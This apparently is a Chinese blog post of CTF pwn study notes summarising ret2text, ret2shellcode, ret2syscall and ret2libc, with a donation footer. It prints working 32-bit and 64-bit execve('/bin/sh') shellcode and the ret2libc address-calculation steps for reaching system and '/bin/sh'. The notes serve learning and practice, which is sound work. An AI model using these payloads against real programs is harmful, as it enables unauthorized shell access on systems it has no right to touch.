# 1.ret2text

条件:程序中含有后门函数


# 2.ret2shellcode

条件:程序不开启 NX 保护

32 位 shellcode:

shellcode=asm("""

push 0x68 #h

push 0x732f2f2f #s///

push 0x6e69622f #nib/

mov ebx,esp #将 /bin///sh 传入 ebx

xor ecx,ecx #ecx 置零

xor edx,edx #edx 置零

push 11

pop eax #将 0xb 传入 eax

int 0x80 #系统调用号

“”")

64 位 shellcode:

shellcode=asm("""

mov rbx,0x68732f6e69622f #将 rbx 置为 "hs/nib/"

push rbx #将 rbx 压入栈

push rsp #将 "hs/nib/" 的地址压入栈

pop rdi #将 rdi 设为 bin_sh_address

xor esi,esi #将 rsi 低 32 位置零,高八位通常是零,且相比全部置零短一个字节

xor edx,edx #将 rdx 低 32 位置零

push 0x3b

pop rax #将 rax 设为 0x3b

syscall

“”")


# 3.ret2syscall

可用来突破 NX 保护


# 4.ret2libc

条件:程序中必须要有 puts,write,printf 之类的输出函数

可突破 NX 保护

思路:利用溢出泄露出某一已经执行过的 libc 函数的真实地址,再通过此函数的真实地址与其在 libc 库 symbols 表中的偏移地址,即可计算出 libc 库函数的基址,从而可以计算出 libc 库中任意函数或变量的真实地址

libc_base=gets_real_address-libc.symbols[“gets”]

system_real_address=libc_base+libc.symbols[“system”]

bin_sh_address=libc_base+libc.search("/bin/sh")

例:QQ截图20210312193500

QQ截图20210312193531

Edited on Views times

Give me a cup of [coffee]~( ̄▽ ̄)~*

 WeChat Pay

WeChat Pay

 Alipay

Alipay

 PayPal

PayPal